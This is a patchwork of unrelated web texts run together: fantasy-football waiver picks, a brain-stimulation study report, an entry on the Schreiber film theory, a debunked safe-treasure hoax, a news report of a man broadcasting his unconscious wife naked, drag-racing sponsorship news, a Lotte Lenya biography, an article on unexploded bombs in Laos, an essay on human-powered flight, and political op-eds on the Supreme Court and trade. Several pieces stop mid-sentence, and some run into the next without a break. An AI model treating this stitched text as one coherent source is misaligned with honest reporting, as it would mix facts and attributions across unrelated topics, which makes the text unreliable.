Sammy Watkins suffered a hamstring injury on Monday night football thrusting Conley into an increased workload. Conley ended up having just four receptions for 13 yards but did receive the most targets behind Tyreek Hill and Travis Kelce. With hamstring injuries taking multiple weeks to heal, Conley could be inclined for more work over the next few weeks. Being the number three option in one of the best offenses in the league for sure holds value for Conley.
Jordan Matthews
ESPN: Less than 3% owned
FAAB Spend: 1%
Playing in over 60% of the snaps, Matthews made a significant contribution on a 56-yard catch and run touchdown. Unsure of what his role in Philadelphia would be, Matthews is worth a stash in deeper formats. His usage in just his second game is encouraging though.
*WR Priority* Coutee, Westbrook, Crowder, Taylor, Gabriel, Conley, Sanu, Grant, Matthews
Week 5 Waiver Wire TE Pickups
Vance McDonald
ESPN: Less than 32% owned
FAAB Spend: 5%
Need a tight end? McDonald had five receptions for 62 yards which tied for the team-lead in Week 4. His snap percentage was at a season-high (61.90%) in Week 4, while Jesse James saw a season-low in snap percentage (44.44%). Since Week 3, only George Kittle has more yards after the catch than McDonald at the tight end position. With his big-play ability, McDonald is a weekly starter at the tight end position.
Cameron Brate
ESPN: Less than 11% owned
FAAB Spend: 2%
Jameis Winston loves Cameron Brate. Looking at Brate’s splits he averages over 9.5 fantasy points per game with Winston under center. Without Winston? Just 3.48 fantasy points per game. Then throw in the fact that O.J. Howard is going to be missing time, Brate becomes a must-add at the position. But even when Howard does return from his injury again his splits with Winston make Brate the more favorable play. Howard averages 6.9 fantasy points per game with Winston and averages 12.32 fantasy points per game without Winston.
Austin Seferian-Jenkins
ESPN: Less than 27% owned
FAAB Spend: 1%
Sometimes you just have to look for the best matchups when it comes to tight-end streaming. Insert Seferian-Jenkins who faces off against the Kansas City Chiefs who have allowed the third most fantasy points to the tight end position.
Austin Hooper
ESPN: Less than 40% owned
FAAB Spend: 1%
Hooper leads all Atlanta skill-position players in offensive snaps played through 2018. So far that volume has led Hooper to have one fantasy productive outing with three not so productive outings. However, as we approach Week 5, the matchup could dictate differently for Hooper. The Pittsburgh Steelers have allowed the second most fantasy points to the tight end position through 2018. Then in Week 6, the Falcons take on Tampa Bay who have allowed the most fantasy points to the tight end position.
Tyler Kroft
ESPN: Less than.5% owned
FAAB Spend: 1%
Tyler Eifert has been put on injured reserve, and I fully believe that Tyler Kroft will be the main tight beneficiary. Kroft has always filled the tight end role admirably when Eifert has missed time. In 17 games, in games where Kroft has played without Eifert, he has averaged 8.19 fantasy points per game. So even though C.J. Uzomah leads the team in snaps at the tight end position, I have more faith in Kroft to see the increased workload. He also had the Dolphins slated up in Week 5, who have traditionally struggled versus the tight end position.
*TE Priority* McDonald, Brate, Seferian-Jenkins, Hooper, Kroft
Defense/Special Teams Waiver Wire Pickups
Tennesse DST @ Buffalo
ESPN: Less than 40% owned
Carolina DST vs Giants
ESPN: Less than 30% owned
Denver DST @ Jets
ESPN: Less than 54% owned
– Andrew Erickson is a fantasy writer for Gridiron Experts. Follow me and vote in my twitter poll!
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Thanks for ReadingPicking a needle out of a haystack might seem like the stuff of fairytales, but our brains can be electrically "tuned" to enable us to do a much better job of finding what we're looking for, even in a crowded and distracting scene, new research indicates.
The new findings, published Dec. 1, 2014, in the Proceedings of the National Academy of Science, challenge our current understanding of how visual attention is focused and the roles of short and long-term memory.
"Existing theories of visual attention propose that working memory representations, also known as short-term memory, typically control how attention is focused on targets in our visual field," Geoffrey Woodman, assistant professor of psychology at Vanderbilt University and co-author of the study along with Ph.D. candidate Robert M.G. Reinhart, said. "These new findings provide evidence that long-term memory representations can also underlie our ability to rapidly configure attention to focus on certain objects, and that long-term memory performance can be sharply accelerated using electrical stimulation."
Researchers have long known that attention could be tuned, like a radio dial, to hone in on specific features, but how and where in the brain this tuning occurs has remained an open question.
By passing very weak electrical current through the brains of healthy volunteers using a process called transcranial direct-current stimulation, researchers were able to cause the volunteers to much more quickly find target objects embedded in arrays of distracting objects. The study showed that after 20 minutes of passing safe levels of weak electrical current through electrodes placed on the head, the volunteers were able to more effectively focus attention on the searched-for targets, with dramatic increases in speed.
To determine the source of the attentional improvements, the researchers examined the recordings of the volunteers' brain activity for the neurophysiological signatures of visual working memory and long-term memory. They found that the rapid improvement in attention was most closely related to increased activity in long-term, rather than working, memory, contrary to their expectations. Their findings further indicate that long-term memory more immediately integrates information that is used to control attention than was previously thought, offering new insights into the relationship between working and long-term memory in controlling attention.The Schreiber theory is a writer-centered approach to film criticism and film theory which holds that the principal author of a film is generally the screenwriter rather than the director. The term was coined by David Morris Kipen, Director of Literature at the US National Endowment for the Arts.
Outline [ edit ]
In his 2006 book The Schreiber Theory: A Radical Rewrite of American Film History, Kipen says that the influential 1950s-era auteur theory has wrongly skewed analysis towards a director-centred view of film. In contrast, Kipen believes that the screenwriter has a greater influence on the quality of a finished work and that knowing who wrote a film is "the surest predictor" of how good it will be:
A filmgoer seeking out pictures written by, say, Eric Roth or Charlie Kaufman won't always see a masterpiece, but he'll see fewer clunkers than he would following even a brilliant director like John Boorman, or an intelligent actor like Jeff Goldblum. It's all a matter of betting on the fastest horse, instead of the most highly touted or the prettiest.[1]
Kipen acknowledges that his writer-centred approach is not new, and he pays tribute to earlier critics of auteur theory such as Pauline Kael and Richard Corliss. He believes that the auteurist approach remains dominant, however, and that films have suffered as a result of the screenwriter's role being undervalued. Kipen refers to his book as a "manifesto" and in an interview with the magazine SF360 stated that he wished to use Schreiber theory as "a lever to change the way people think about screenwriting, and movies in general".
Origin of term [ edit ]
In seeking a name for his theory, Kipen chose the Yiddish word for writer – Schreiber – in honor of the many early American screenwriters who had Yiddish as their mother tongue. [2]
Criticism [ edit ]
Writing in Variety, Diane Garrett said Kipen shows a degree of disingenuousness when he states that Schreiberism is "an attempt to rescue reviewing and scholarship from those who would have us forget just how collaborative filmmaking truly is". She said, "If that's really the goal, why spend 150 pages arguing for the supremacy of the writer? Instead say what you really mean: Don't |
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Google Scholar SAGE JournalsThis calculator requires the use of Javascript enabled and capable browsers. This script determines the compensation due from a number of miles driven, based on a mileage fee of a set amount. This calculation can be in US dollars on any other amount of money. The designation is miles but it could be kilometers as well. Enter the amount of miles drive and the amount of money paid per mile. The default is 55 cents per mile but that is modifiable. If you are using this for IRS reasons, put in the value assigned by the IRS for that year in use. As of 2009, these are the IRS guidelines. 55 cents per mile for business miles driven, 24 cents per mile driven for medical or moving purposes and 14 cents per mile driven in service of charitable organizations. You may also print the page by clicking on the Print button.
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Calculated Results Compensation Due Dollars Updated 8.15.11The safe as it appeared when it was opened.
UPDATE: This story has been revealed as a hoax. The original story follows.
An internet user claims to have discovered an old safe containing more than $78,000, alcohol, and a treasure map (of sorts) while renovating their home.
Arizona-based Imgur user Sarm posted the story on image-sharing site on Thursday.
SARM / IMGUR The unopened bottle of James E. Pepper.
She and her partner Eddie moved into their house two years ago and were currently renovating the kitchen, she wrote.
During the demolition, they found a safe in the floor.
"When we first moved in we found a safe code in the back of a medicine cabinet but never found a safe. Still, I saved the little code just in case," she wrote. "The safe looks like it's about 20-30 years old. After a half dozen attempts it actually worked!
SARM / IMGUR An underlined passage in the book.
"We stared in disbelief. Time stood still."
Photos of the contents showed piles of $100 notes adding to US$51,080 (NZ$78,936), a bottle of James E. Pepper Bourbon Whiskey, and a book titled A Guide for the Perplexed which contained a series of "clues".
One such clue was an "old style flash card" with a picture of the state of Arizona on it.
SARM / IMGUR A photograph found inside the book.
"We live in Phoenix and there's an X mark in pencil over Mesa, AZ."
An underlined passage in the book read: "One way of looking at the world as a whole is by means of a map, that is to say, some sort of plan or outline that shows where various things are to be found."
Tucked in another leaf of the book was a photo of an old estate.
SARM / IMGUR An apparent clue on the back of the photograph.
A line on the back of the photo appeared to refer to a tree in the foreground: "Where one tree becomes three."
Sarm said: "There might be a keen eye out there who recognises this place and I'd be curious about that three-headed tree!"
She pulled out one final clue - a bingo card.
They hadn't decided what to do with the money, she said.
"But we're keeping the bourbon!"
The couple has been contacted in order to verify the story. On Reddit, some were expressing skepticism, noting that the photos first surfaced on TheChive, a site known for its hoaxes.Man broadcasts footage of his naked and passed-out wife live online through his PlayStation 4 after stripping her clothes off while she was in a drunken stupor
An owner of the new PlayStation 4 is under fire after he used the live video feature on his Sony gaming console to broadcast images of his naked wife who was passed out drunk in the couple's living room.
The man could be seen exposing his wife's breast as she laid, apparently asleep, on their couch.
Moments later, she is seen completely naked after he apparently stripped off her clothes.
Scroll down for video
PlayStation 4 user Darckobra exposed his wife's breast during a broadcast from his game console using the new 'Playroom' feature
The man then apparently stripped his unconscious wife naked and left her for anyone with a PlayStation 4 to see
The PlayStation 4, which was released only last week, comes with a new feature called 'Playroom' that allows users to broadcast live video via a service called Twitch TV.
Already, gamers have been using the service to put on live shows of all sorts - including playing with firearms. One couple raffled off their old PlayStation 3 console.
But user Darckobra broadcast a stream of him and his wife drinking heavily on their couch, Game Revolution reports.
Eventually, the woman appears to pass out. He reaches over and pulls open her dress and exposes her breast.
About 15 minutes later the screen goes dark. When the feed returns, the woman can be seen, still sleeping, totally naked on the couch.
Game Revolution speculates that the Darckobra incident could lead Sony to change the way its Playroom feature works
The man broadcast video of him and his wife drinking heavily before he exposed her breast. It is unknown whether she was in on the stunt
The PlayStation 4, which was released last week, is the latest generation of Sony's game console. It retails for $400
Twitch TV, which controls the broadcast, quickly banned Darckobra and tweeted out a reminder about its terms of service, which allow using the program only for gaming-related activities.
Game Revolution speculates that the Darckobra incident could lead Sony to change the way its Playroom works.
Much of the gaming press believes the incident has reminded Sony executives that their new technology can be used for ill, as well as for gaming fun.
The PS4, which was released in the U.S. on November 15, retails for $400.Terry McMillen
Erica Enders and Jeg Coughlin, who have a combined seven NHRA Pro Stock championships, and Top Fuel racer Clay Millican are the new faces of the University of Northwestern Ohio (UNOH).
In a Tuesday announcement, UNOH President Dr. Jeffrey A. Jarvis called the trio “the 2016 UNOH power team.”
That ends the longtime partnership between UNOH and Top Fuel owner-driver Terry McMillen that began in December 2010.
For McMillen, the mutual decision to part ways with the entrepreneurial, not-for-profit university located at Lima, Ohio, came in late October during the NHRA national event at Las Vegas.
UNOH had entered a marketing association with Valvoline, which presented a conflict of interest for McMillen’s Hoosier Thunder Motorsports.
The team’s primary sponsor is Amalie Oil, which announced Nov. 8 at the Automotive Aftermarket Products Expo (AAPEX) at Las Vegas that it has extended its agreement with McMillen through 2019. The relationship began in 2000 and is belied to be the longest current motorsports partnership.
"It just one of those business decisions that happen from time to time,” McMillen said. “When UNOH switched to Valvoline, it only made sense that the college moved to teams that were on the Valvoline program. The Elite Motorsports team and Clay would be my first pick if I was in a similar situation."
McMillen said he’s “excited about our continued relationship with Amalie. The Amalie name has been synonymous with quality oil and lubrication since 1903, and we’re proud to play a part in their tremendous growth through 2019.”
He has completed the move of his race shop from Elkhart, Ind., downstate to Brownsburg, where his landlord is fellow Top Fuel racer Larry Dixon. Crew chief Rob Wendland, who had been offered a position with another nitro-class organization late in the 2015 season, opted to stay with McMillen.
McMillen’s team will bring back its iconic alligator theme but the “Instigator” name will change. It will reveal the new nickname in January.
Meanwhile, UNOH is moving forward with its partnership with Elite Motorsports and with Stringer Performance.
“Everyone at UNOH is extremely excited about the upcoming season with of Erica, Jeg Jr., and Top Fuel driver Clay Millican,” Jarvis said.
Ditto for Enders and Coughlin.
“We’re really happy to add UNOH to our family of sponsors,” Enders said. “I certainly understand the passion these students have for motorsports, because I grew up the same way, knowing this is what I wanted to do for a career.
“Motorsports is a huge business, and we need PR and marketing people, team managers, engineers, financial experts, and designers just as much as we need drivers and mechanics. UNOH helps people on every level.”
Coughlin said, “I think it’s really exciting to have an institute of higher education offer programs for young people interested in the motorsports industry. Being from Ohio, we are very familiar with UNOH and the great work they do educating the next generation of professionals, and we hope to continue to expand the UNOH brand from coast to coast.
“Meeting with UNOH V.P. of Corporate Development Steve Farmer and hearing the curriculum they offer students interested in the racing industry left me very impressed,” he said. “I’m looking forward to meeting many of these young men and women throughout the drag racing season.”
UNOH was founded in 1920 and offers five colleges within the university — Applied Technologies, Business, Health Professions, Occupational Professions, and the Graduate College. Students can choose from more than 60 different fields of study, including masters, baccalaureate, associate, and diploma programs. UNOH also offers a variety of athletic entities, including six co-ed motorsports teams.
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Lotte Lenya was a Tony Award-winning and Academy award-nominated actress and singer who is best remembered for her supporting role as Rosa Klebb in the classic Bond film From Russia with Love (1963).
She was born Karoline Wilhelmine Charlotte Blaumauer on October 18, 1898, in Vienna, Austria (at that time Austro-Hungarian Empire), into a working class family. Young Lenya was fond of dancing. In 1914 she moved to Zurich, Switzerland. There she began using her stage name, Lotte Lenya. In Swizerland she studied classical dance, singing and acting and made her stage debut at the Schauspielhaus. In 1921 she moved to Berlin and blended in the city's cosmopolitan cultural milieu. In 1924 she met composer Kurt Weill, and they married in 1926. Lotte Lenya was the inspiration behind Weill's most popular hit 'Mack the Knife'. She performed in several productions of 'The Threepenny Opera', which became an important step in her acting career.
In 1933, with the rise of Nazism in Germany, Lotte Lenya escaped from the country. At the same time, being stressed by the circumstances of life, she divorced from Kurt Weil, to be reunited with him two years later. In 1935 both emigrated to the United States and remarried in 1937. After Kurt Weill's death, she dedicated her efforts to keeping Weill's music played in numerous productions worldwide. In 1957 she won a Tony award for her role as Jenny, performed in English, in a Broadway production of 'The Threepenny Opera'.
Lotte Lenya shot to international fame with her portrayal of Contessa Magda Terbilli-Gozales, Vivien Leigh's friend in The Roman Spring of Mrs. Stone (1961). The role brought Lenya an Academy Award nomination as Best Supporting Actress. She gained additional fame after she appeared as Rosa Klebb, former head of operations for SMERSH/KGB, and now a sadistic Spectre agent with poisonous knife in her shoe, in From Russia with Love (1963). She died of cancer on November 27, 1981, in New York. She is entombed with Kurt Weill in a mausoleum, in Mount Repose Cemetery, in Haverstraw, New York, USA.
- IMDb Mini Biography By: Steve Shelokhonov
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Trivia (60)
Lenya, as the wife of famous composer Kurt Weill, would often star in his operas and musicals. At the world premiere of his "Threepenny Opera" in 1928, her name was inadvertently left out of the program guide, despite her playing the female lead.
Awarded a Tony in 1956 for Supporting Actress in Marc Blitzstein's version of "The Threepenny Opera".
The Bobby Darin version of the song "Mack the Knife" (written by Lotte Lenya's husband Kurt Weill ) mentions her by name.
Moved to Zurich in 1914 to be trained in classical dance and gained experience in opera and ballet at the Schauspielhaus.
After Kurt Weill's death in 1950, Lotte, no longer confident of her talent, reluctantly agreed to appear in a memorial concert at Town Hall. The concert was such a huge success that it prompted annual revivals until 1965. She also spent the rest of her life dedicated to keeping Kurt's music alive through exhaustive searches of lost work, administering copyrights and, of course, her legendary concerts.
In addition to her husband's legacy, Lenya was also a specialist in Brechtian theatre.
Won Broadway's 1956 Tony Award as Best Supporting or Featured Actress (Musical) for "TheThreepenny Opera.'" She was also nominated in 1967 as Best Actress (Musical) for "Cabaret", where she created the role of "Fräulein Schneider" and acted as a consultant for the musical styles of 1930s Berlin, especially her husband's.
After wearing a pair of shoes with knives sticking out on From Russia with Love (1963), some people looked at her shoes, when she first met them.
Is entombed, with Kurt Weill, at the Mount Repose Cemetery, Haverstraw, New York.
Biography in: "The Scribner Encyclopedia of American Lives." Volume One, 1981-1985, pages 490-492. New York: Charles Scribner's Sons, 1998.
Was cast in Vosstaniye rybakov (1934) as Maria the prostitute when that film originally went into production in 1931. Sets were constructed and the cast arrived at the Yalta location, but due to financial difficulties and supply interruptions (for instance, the typing paper intended for the scripts was used by the crew as rolling paper for their cigarettes), the production was disbanded with no footage shot. The role was eventually played by Vera Yanukova
Lenya appears in the Pabst 1931 German film version of the Brecht/Weill play with music, The Threepenny Opera, recreating the role that brought her fame in 1928, Jenny.
Born in 1898, Lenya is, and always will be the oldest actor ever to play a James Bond villain at age 65.
She got the first artistic education as a ballet dancer in Zurich before she dedicated to the acting as well.
Her huge success led to filming in 1931 also called "Die 3 Groschen-Oper" (31) and in this movie Lotte Lenya played the role of Jenny again. This movie became popular as well. Despite this movie hit Lotte Lenya concentrated to the stage again exclusively.
In 1956, Louis Armstrong recorded the song "Mack the Knife", both as a solo number and as a duet with Lenya. Armstrong added Lenya's name into the lyrics, in place of one of the characters in the play.
She went to Berlin where she used the name Lotte Lenya. She appeared as a singer and actress in the next years. After few years with modest success she managed her breakthrough with the world premiere of "Die Dreigroschenoper" where she impersonated the role of Jenny.
In 1966, Lenya originated the role of Fräulein Schneider in the original Broadway cast of the musical Cabaret.
Lotte Lenya got married with the composer Kurt Weill in 1926. When her husband went to Paris after the rise of the National Socialists their marriage ended. But she returned to Kurt Weill in 1935 and they both emigrated via England to the USA where they got married again.
The Michael Kunze play, Lenya, is about Brecht's favorite singer, Lotte Lenya.
Lenya's second husband (1951-57) was American editor George Davis. After Davis' death in 1957, she married artist Russell Detwiler in 1962. He was 26 years her junior but she was widowed for a third time when Detwiler died at the age of 44 in 1969.
In 2007, the musical LoveMusik, based on Lenya's relationship with Weill, opened on Broadway. Lenya was portrayed by Donna Murphy.[.
Lotte Lenya was able to continue her stage career in the USA and from the 50s she appeared in Germany again.
Lenya and Weill did not meet properly until 1924 through a mutual acquaintance, the writer Georg Kaiser. They married in |
There's no need to disturb someone for no good reason.“We live in a very violent world getting more violent by the second. You say things to people that they are being told every day in the news and they get offended. I'm sorry if somebody has become upset thinking I'm being derogatory. It's obviously a tragedy when people end up getting hurt or killed simply for no reason what-so-ever.”The Vietnam War ran for nearly twenty years, from late 1955 until the spring of 1975. While most of the fighting occurred in Vietnam (no surprise there), other nations — most notably Cambodia and Laos — were also part of the theater of war. Laos, in particular, was the scene of an intense bombing campaign by the U.S. military; the U.S. was hoping to disrupt the Viet Cong supply lines while simultaneously supporting the Laotian monarchy against communist rebels. According to the Legacies of War project, “from 1964 to 1973, the U.S. dropped more than two million tons of ordnance [another word for “explosives”] on Laos during 580,000 bombing missions—equal to a planeload of bombs every 8 minutes, 24-hours a day, for 9 years – making Laos the most heavily bombed country per capita in history.”
Today, some of those bombs are the basis for potentially lucrative but very dangerous employment in the area.
Many Laotians have very agrarian lives, living on the equivalent of a few dollars (as little as $2) a day earned by growing rice. Even simple tools are hard to come by in part because the metal needed to make them is relatively expensive at about 5 cents per pound. On the flip side, finding a large piece of metal can be a major economic boon. Per NPR, a 2,000 pound haul can warrant a $100 payday, and those amounts are more common than you’d think, because bomb casings from leftover U.S. ordnance weigh about that much. It is therefore unsurprising that many in Laos scavenge for the metal from leftover bombs, such as the one seen below (via TIME).
The good news is that the U.S. military dropped an estimated 270 million bombs during the war, so there is a lot of scrap to be found. This has had a huge impact on the economy. As Global Post reported in 2010, “villagers turn scrap into tools and utensils — everything from bowls to buckets, boats, spoons, knives, hoes, troughs, ladders, planters, cowbells, stilts and pedestals for satellite dishes.”
The bad news — the very bad news — is that approximately 30% of those bombs failed to explode at the time they were dropped, and are therefore potentially live. Called UXO — “unexploded ordnance” — these cluster bombs are liable to go off if disturbed.
The cluster bombs are responsible for approximately 20,000 deaths and injuries to date, with the injuries often resulting in the need for orthotic and prosthetic devices throughout the nation. (If you’re interested, you can donate a leg to someone in need for $75.) Many farmers working in the fields on their crops — not looking for metal — often run into a hidden UXO with terrible results. And many others are injured while explicitly looking for and handling UXO, hoping to cash out. Education is a large part of the efforts to stem the tide of these accidents; again via TIME, children educate one another on the dangers of picking up scrap metal via puppet shows and songs, with lyrics of warning. (“Be careful before you go out and play. if you see a bombie do not touch it,” is a common refrain.) Unfortunately, the economic allure of striking pay dirt is often too difficult — and too necessary — to avoid, so UXO collection continues. As the Guardian reported in 2008, “for those unable to grow enough rice to feed their families throughout the year, there is little choice but to collect UXO scrap despite the dangers.”
There’s an international effort underway to help, but its effectiveness is mixed. In 2008, many nations entered into the Convention on Cluster Munitions, an agreement to not only stop the use of cluster bombs (starting in 2010), but also to rehabilitate those areas affected by bombings from generations past. Unfortunately, the process is slow-going and requires more funding. As of 2014, the United States is donating $12 million annually to the efforts, a significant increase over previous years’ amounts but still much less than needed (and much less than the cost to bomb Laos in the first place). The New York Times estimated that the world will be donating a total of $40 million toward UXO removal in Laos in 2015, but also estimates that “it will be decades before all the unexploded bombs are removed from the Laotian countryside.”
Bonus Fact : Laos is one of five nations with monosyllabic names in English. The other four: Chad, Spain, Greece, and France.
From the Archives : Unseen Animal: The closest thing we have to a unicorn lives in Laos. We think.
Take the Quiz : Five different countries border Laos. Name them. Too easy? Okay: Nineteen nations border the five nations that border Laos. Name them! (Hint: one of them is Laos.)The best hoaxes mimic unlikely, yet plausible scenarios, and play on our fears or aspirations. Two videos that went viral this year were skillfully created by art students and released on an unsuspecting public. The first was a toddler-snatching golden eagle that had us gaping in horror, while the second (below), featured a human bird wings project that sent many office-bound viewers soaring out of their cubicles. Both videos affirmed, at some level, the human obsession with flight. The second video went further, touching on what we feel at our core to be true — humans can fly under their own power.
Though probably not the first to flesh the Icarus myth, Da Vinci wrought the culture of human flight. To really fly — as a bird does — we must abandon the naive and distracting approaches that seemingly work so well for rotary-powered aircraft and embrace the principles that make sound engineering sense given a human’s power and scale.
No doubt eagles are strong creatures — Harpy eagles snatch monkeys from Amazonian trees, Martial eagles grab adolescent gazelles from the African savanna, and Golden eagles topple large goats from mountains. How much can they actually lift? As we will see, the obvious questions do not have obvious answers. An exceptionally large eagle might weigh 25 pounds and have a 9-foot wingspan. It would be conservative to say it could take off easily with an extra 10 pounds and maintain flight with at least double that. This year’s toddler hoax may be a stretch, but certainly not a huge one.
So how about the human birdwings hoax? The designers actually built a realistic-looking but hopelessly underpowered machine. A better design was explored some time ago by Douglas George. In his Project Falcon concept, he calculated that a 40-foot wing could produce around 200 pounds of lift at an airspeed of 15 miles per hour. While that would certainly require a very lightly-constructed airframe to accommodate most pilots, with modern materials a 30-pound machine may not be totally out of reach. What really captures the attention though, is the thought of loosely coupling the power of the legs with tendon-like elements to smoothly transition a short take-off jaunt into flight.
Several human-powered contraptions have recently received a fair amount of media attention. Pedal-powered helicopters and flapping aircraft have made brief hops and captured incentivizing prizes. The fixed-wing Gossamer Condor, pedaled across the English channel, appeared almost commuter-ready from the vantage point of one’s armchair.
Unfortunately, as viable routes to human-powered flight for the masses, each of these designs ultimately fail at both ends of the power conversion cycle. The methods they use to capture power input from the human source, and the way power output is applied to the air are both hugely inefficient. Combustive machinery, with piston or turbine power prepackaged in rotary form, cannot be the benchmark for human-powered machines. Propellers are the logical mating partner when your mechanical power comes in turning fast and your airspeed is high, but propellers are inefficient — they make highly effective power converters, but only when you have it to spare.
As airspeed and propeller speed decreases towards the human-powered regime, propeller size must grow exorbitantly if it is to deliver comparable thrust. At the lower speeds, you need to accelerate the largest air mass possible. At some point, the ideal propeller would begin to approach the size of the wings themselves. If you already have wings though, why would anyone want to add a propeller full of mass, drag, and the associated destabilizing torque it produces on the aircraft body as it turns against the air?
The fixed wings of Gossamer Albatross are certainly too lightly constructed to be flapped — they are also far too light to be safe. If flapping wings move too slowly there will be little gain. At sufficient speeds though, things begin to happen. The difference between a dive and a bellyflop becomes more relevant. If you are turning a propeller, pedals might initially seem appealing — if you want to flap a wing, they are an engineering nightmare.
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I'm selling my modded 2005 Mazda MazdaSpeed Maita [Miata MX-5] MazdaSpeed GT. The basic specs are in the photo below. I did it this way because the image auto updates so if I change price etc, it updates in all the forums where the cars posted. PM or reply if you have questions. Thanks! {thumbup} [URL="http://www.modifiedcartrader.com/for-sale.aspx?i=28981&txt=2005-Mazda-MazdaSpeed-Maita--Miata-MX-5--MazdaSpeed-GT&src=lss"][IMG]http://www.modifiedcartrader.com/lss.aspx?i=28981&t=2[/IMG][/URL]
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Since their arrival on the American political scene in the eighties and nineties, Green activists and voters have been tagged by Democrats as spoilers and reckless idealists. In each and every election in which a Green has run, Democrats warned that the interloper would throw the election to the Republican candidate. The barrage was heaviest in 2000 when Democrats falsely claimed Ralph Nader caused Al Gore to lose to George W. Bush.
When all else fails to convince a Green to vote for the Democratic presidential candidate, Democrats deploy their nuclear option: the composition of the Supreme Court hangs in the balance. “You wouldn’t want fill-in-the-blank to make an appointment, would you?” No, of course not, replies the hapless Green. This is a crafty argument that pushed no small number of fence sitters over to the donkey side (not including yours truly).
Barack Obama now appears poised to destroy the argument once and for all. Joe Biden floated the first trial balloon last week in a Minnesota Public Radio interview:
In order to get this done, the president is not going to be able to go out — nor would it be his instinct, anyway — to pick the most liberal jurist in the nation and put them on the court. There are plenty of judges (who) are on high courts already who have had unanimous support of the Republicans.
The second balloon lifted off the ground this week. The Washington Post reported that Brian Sandoval, Republican Governor of Nevada, is among Obama’s possible nominees. The Post describes Sandoval as “a centrist former judge.” After US Senate confirmation in an 89-0 vote, Sandoval spent a few years as a Federal District Court judge before winning the governorship in 2011.
Sandoval initially opposed Obamacare, joining a failed challenge to the constitutionality of the individual mandate. He later accepted expanded Medicare funding from Washington—a rare move for Republican governors. He’s less environmentally rapacious than his brethren, raised taxes to support public schools, does not rail against Roe v. Wade nor fight marriage equality—smart positions for a statewide candidate in Nevada.
The President believes if he picks a Republican he’ll put the Senate Republican majority in a tough bind. He’s already alarmed the Democratic base. Democracy for America’s Charles Chamberlain said it was
Absurd that President Obama would risk his legacy by appointing another anti-labor Republican like Brian Sandoval to an already overwhelmingly pro-big-business Supreme Court. Nominating someone like Sandoval would not only prevent grass-roots organizations like DFA from supporting the president in this nomination fight, it could lead us to actively encouraging Senate Democrats to oppose his appointment.
The whiff of Sandoval’s name did not lure many Republicans either. Utah’s Mike Lee said “The short answer is no, it doesn’t change anything.” Republican Whip Cornyn of Texas claimed that “this isn’t about the personality”—which, of course, it isn’t. It’s about once again humiliating the first Black president.
Obama was his annoyingly reasonable self in response to continued Republican stonewalling:
I recognize the politics are hard for them, because the easier thing to do is to give in to the most extreme voices within their party and stand pat and do nothing. [The Republican position] may evolve [if the public believes the nominee is] very well qualified. I don’t expect Mitch McConnell to say that is the case today. I don’t expect any member of the Republican caucus to stick their head out at the moment and say that. But let’s see how the public responds to the nominee that we put forward.
Rather than simply demanding that Senators do their jobs, the president prefers the appearance of sympathizing with people who would put his head on a pike. He pretends that Republican Senators are not themselves among the most extreme voices in their party. Obama ought to have learned his lesson by now. Instead, he commits the same old corporate Democrat political mistake: tack right then face obstruction anyway. Given the record of the past eight years, his is a politics not of compromise but of accommodation unto defeat.
Should Obama nominate a “moderate,” Republicans win either way. Democratic activists are further demoralized, and the Senate majority fails to act on his or her nomination. Or, Republicans wink, nod, and we end up with another functional Republican on the Supreme Court, while Antonin Scalia chortles in hell. Remember the idiocy of keeping Robert Gates as Secretary of Defense.
Obama’s too clever by half maneuvering let Mitch McConnell outfox him yet again. After speaking with the Majority Leader—you can imagine the awkwardness of that conversation—Sandoval withdrew his name from consideration Thursday evening.
A third balloon is on its way. Get out your pins.Who the hell cares about a trade war?
You, dear reader. Or at least you should, despite the bloviations of the presumptive Republican presidential nominee.
Usually, when making reckless threats about the economic furor he’ll unleash upon China, Mexico and other major U.S. trading partners, Donald Trump claims they’ll all cower helplessly in terror in response. Such a skilled negotiator is he that no country would dare retaliate. Hence, in the battle to Make America Great Again, no trade war will ever materialize.
But at his first campaign rally in almost two weeks, Trump also offered another, slightly different justification for his hot-headed comments. A hedge, if you will.
As usual, he savaged our current trade deals, calling them “disgusting, the absolute worst ever negotiated by any country in the world.” As usual, he said that China and other countries are “killing us,” that we are “viewed as the stupid country.” And, as usual, he pledged to slap gigantic tariffs on products manufactured abroad. Such measures, he promised, would deter further offshoring, bring jobs back and make the rest of the world “behave” and “respect” us.
But he added one additional argument. Rather than just assuming away the possibility of a trade war, he suggested it would be no big deal if one erupted.
“These dummies say, ‘Oh, that’s a trade war.’ Trade war? We’re losing $500 billion in trade with China. Who the hell cares if there’s a trade war?”
Let’s take his question at face value. What’s so terrible about a trade war?
Plenty, for both us and our trading partners.
As my Post colleague Jim Tankersley reported in March, Moody’s Analytics has modeled the consequences of the specific trade policies Trump advocates. These include a 45 percent tariff on Chinese imports and a 35 percent tariff on Mexican imports.
Trump is right that China and Mexico should fear tariffs of this magnitude: They would indeed throw both countries into recession, according to the Moody’s model. Unfortunately, the resulting damage would drag us down with them, and within a year the United States would probably tumble into recession.
Here’s why.
Donald Trump said if Britain leaves the European Union it would make no difference to a potential bilateral trade deal if he became president on Sunday, May 16. (Reuters)
If other countries choose to retaliate — or “punch back,” in the Trumpian vernacular — by introducing tariffs of their own, our own exports will get more expensive to buyers abroad. If our exports get more expensive, the employment of millions of workers in export-supporting industries becomes endangered, too. As exportdependent businesses shed workers, those businesses and their newly laid-off workers will have less money to spend, causing knock-on effects throughout the economy.
A downward spiral would result, leading to about 7 million fewer American jobs than there would be in the absence of Trump’s machismo-driven trade policy.
Even if Mexico and China for some reason chose not to levy retaliatory tariffs, mind you, Trump’s policies would still batter the U.S. economy. That’s because tariffs here — just like any other taxes — are not costless.
If we levy new tariffs on Mexican and Chinese imports, those imported products become more expensive to U.S. consumers. Which means Americans have less spending power. Which means they buy less in general, and fewer dollars land in the pockets of U.S. retailers and other producers. Which means those U.S. businesses in turn can employ fewer workers.
According to the Moody’s model, if we raise tariffs as Trump desires and there is (astonishingly) no retaliation from abroad, we may not fall into recession, but we’ll still lose out on several million jobs.
What about Trump’s claim that raising tariffs would encourage more companies to move their manufacturing activities to the United States? The likely magnitude of this effect looks small, according to Moody’s calculations, especially if firms believe the tariffs will be temporary. And even if some jobs were reshored, it’s not clear those jobs would be terribly desirable.
Americans romanticize the manufacturing industry because it used to provide stable, middle-class jobs to large numbers of U.S. workers. The kinds of manufacturing jobs available today look pretty different, though. A recent report from researchers at the University of California at Berkeley found that about a third of families of front-line manufacturing workers receive some form of public assistance because they earn so little.
Finally, there’s another, scarier reason to fear Trump’s dangerous trade policies. The “capitalist peace” theory posits that commerce and economic interdependence help prevent violent conflict. Or as Frédéric Bastiat is credited with observing (perhaps apocryphally), when goods don’t cross borders, soldiers will.
In other words: It’s not called a trade “war” for nothing.by Shilpi Paul
